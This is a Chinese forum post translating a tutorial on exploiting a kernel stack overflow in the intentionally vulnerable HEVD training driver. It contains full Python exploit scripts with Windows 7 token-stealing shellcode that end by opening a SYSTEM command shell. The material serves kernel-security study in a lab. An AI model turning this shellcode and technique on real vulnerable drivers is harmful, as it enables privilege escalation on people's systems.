首页
社区
课程
招聘
[翻译]Windows内核漏洞利用教程2:栈溢出
2018-1-17 22:10 5976

[翻译]Windows内核漏洞利用教程2:栈溢出

2018-1-17 22:10
5976
原文地址:https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
看到坛友 fyb波翻译了一、四,我自己刚开始接触内核,学习的同时简单翻译了一下,英文不好,这方面知识也刚开始接触,不足之处 请批评指正。

正文:

Windows内核漏洞利用教程2:栈溢出


引言


在第一部分,我们了解了怎样手动搭建内核调试环境。如果你想要更简单直接的方法,可以看一看hexblog的文章,关于搭建VirtualKd环境,更快地进行内核调试。

在这篇文章中,我们将深入内核空间,并且通过对一个驱动程序的漏洞利用作为第一个内核空间的缓冲区溢出例子。

感谢hacksysteam提供的存在漏洞的HEVD驱动训练项目,以及fuzzySecurity不错的writeup。

安装驱动


在这个教程中,我们将尝试去利用HEVD驱动中的缓冲区溢出模块。从github上下载HEVD的源码,并根据提示编译生成驱动,或者直接下载编译好的有漏洞的驱动程序,然后根据你的系统架构选择32位或64位。

然后在被调试虚拟机中使用OSR Loader 加载驱动,如下图所示:

利用如下命令检查驱动是否已经被成功加载进被调试虚拟机:

驱动程序一起的还有.pdb的符号文件,如果你需要的话可以加载进windbg使用。

驱动安装好之后,我们接下来分析存在的漏洞。

分析


在驱动程序的源码中,看StackOverflow.c文件,hacksysteam针对存在漏洞的版本和不存在漏洞的版本的源码有一个很好的对比展示,如下:
#ifdef SECURE
//安全版本:在内存拷贝时,拷贝的内存大小参数等于目标缓冲区(kernelbuffer)的大小,这个不会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
 
//不安全版本:在内存拷贝时,此处传入的内存大小值没有经过验证,无法判断是否会大于目标缓冲区(kernelbuffer)的大小,
//所以可能会造成缓冲区溢出。
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

在不安全的版本中,我们可以看到,RtlCopyMemory()进行内存拷贝时,直接使用了调用者传入大小,而没有进行任何验证,而在安全的版本中,拷贝的而大小被限制为目的缓冲区的大小。因此我们就可以在不安全的版本中利用缓冲区溢出漏洞。

接下来,我们使用IDA pro 来分析一下,这个缓冲区溢出漏洞是在哪里如何被触发的:


在这个调用流程中,分析一下IrpDeviceIoCtlHandler函数。

我们可以看到,IOCTL是0x222003h时,指针指向StackOverflow模块。因此,我们知道了如何去调用StackOverflow模块,接下来,分析一下TriggerStackOverflow函数。

我们注意到这里定义了内核缓冲区的大小,0x800.

漏洞利用


到这里,我们已经有了所有相关的信息,可以开始编写exp 了。我是用了DeviceIoControl()和驱动进行交互,用Python来写exp。
import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A"*2048
bufLength = len(buf)
 
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

在调试机中,用WinDbg在TriggerStackOverflow函数入口处下断点,分析我们传入的参数为0x800时的情况。
!sym noisy
.reload;ed Kd_DEFAULT_Mask 8;
bp HEVD!TriggerStackOverflow


我们可以看到,断点成功命中,但是没有溢出或者产生崩溃。接下来,增大拷贝缓冲区的大小到0x900,分析输出情况。

我们看到了崩溃,并且清楚地看到EIP被改写,EBP也被改写。

通过metasploit生成计算偏移的填充脚本,我们可以很容易地得到EIP的偏移,然后利用下面的脚本:
import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A"*2080 + "B"*4 + "C"*220
bufLength = len(buf)
 
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)


现在,我们可以控制EIP,并且在内核空间有了代码执行权限,接下来编写我们的payload。

由于DEP保护的限制,我们无法在通过返还指令直接执行传入堆栈中的指令。有很多种方法去绕过DEP防护,为了简单起见,直接使用VirtualAlloc()申请一块可执行的内存,把我们的shellcode拷贝进去,并执行。

我们直接使用hacksysteam提供的偷取token的代码,在payload.c文件中。
pushad ; Save registers state
 
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
 
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
 
mov ecx, eax ; Copy current process _EPROCESS structure
 
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
 
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
 
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
 
popad ; Restore registers state

shellcode大致流程为:首先保存当前寄存器状态,找到当前进程的token并保存,利用system进程的pid找到system进程的token,用system进程的token替换当前进程的token,恢复寄存器状态。在win7系统中,system进程的pid为4。Shellcode可以写成如下形式:
import ctypes, sys, struct
from ctypes import *
 
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle"
    sys.exit(0)
 
shellcode = ""
shellcode += bytearray(
    "\x60"                            # pushad
    "\x31\xc0"                        # xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                    # mov eax,[eax+0x50]
    "\x89\xc1"                        # mov ecx,eax
    "\xba\x04\x00\x00\x00"            # mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
    "\x75\xed"                        # jnz 0x1a
    "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
    "\x61"                            # popad
)
 
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
shellcode_final = struct.pack("<L",ptr)
 
buf = "A"*2080 + shellcode_final
bufLength = len(buf)
 
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

但是在执行过程中遇到了一个问题:


我们发现,我们程序的在漏洞利用之后的状态恢复存在缺陷,shellcode执行完之后,程序不能恢复到正常状态。因此我们需要修改并添加相应的指令,帮助驱动恢复到正常的执行流程,接下来,我们分析一下在没有shellcode的情况下,程序正常的执行情况。

我们发现,仅仅需要添加pop ebp 和 ret 8指令在shellcode之后,就可以使驱动恢复。最终的shellcode如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
 
def main():
    kernel32 = windll.kernel32
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(0)
 
    shellcode = ""
    shellcode += bytearray(
        "\x60"                            # pushad
        "\x31\xc0"                        # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                    # mov eax,[eax+0x50]
        "\x89\xc1"                        # mov ecx,eax
        "\xba\x04\x00\x00\x00"            # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
        "\x75\xed"                        # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
        "\x61"                            # popad
        "\x31\xc0"                        # xor eax,eax
        "\x5d"                            # pop ebp
        "\xc2\x08\x00"                    # ret 0x8
    )
 
    ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
    buff = (c_char * len(shellcode)).from_buffer(shellcode)
    kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
    shellcode_final = struct.pack("<L",ptr)
 
    buf = "A"*2080 + shellcode_final
    bufLength = len(buf)
 
    kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)
    Popen("start cmd", shell=True)
 
if __name__ == "__main__":
    main()

我们成功获取到了 authority\system权限,成功利用漏洞。



阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2018-1-18 08:22
2
0
mark
雪    币: 1
活跃值: (10)
能力值: ( LV3,RANK:22 )
在线值:
发帖
回帖
粉丝
IslandHere 2018-3-18 19:36
3
0
最近正在学习相关内容,感谢您的分享
游客
登录 | 注册 方可回帖
返回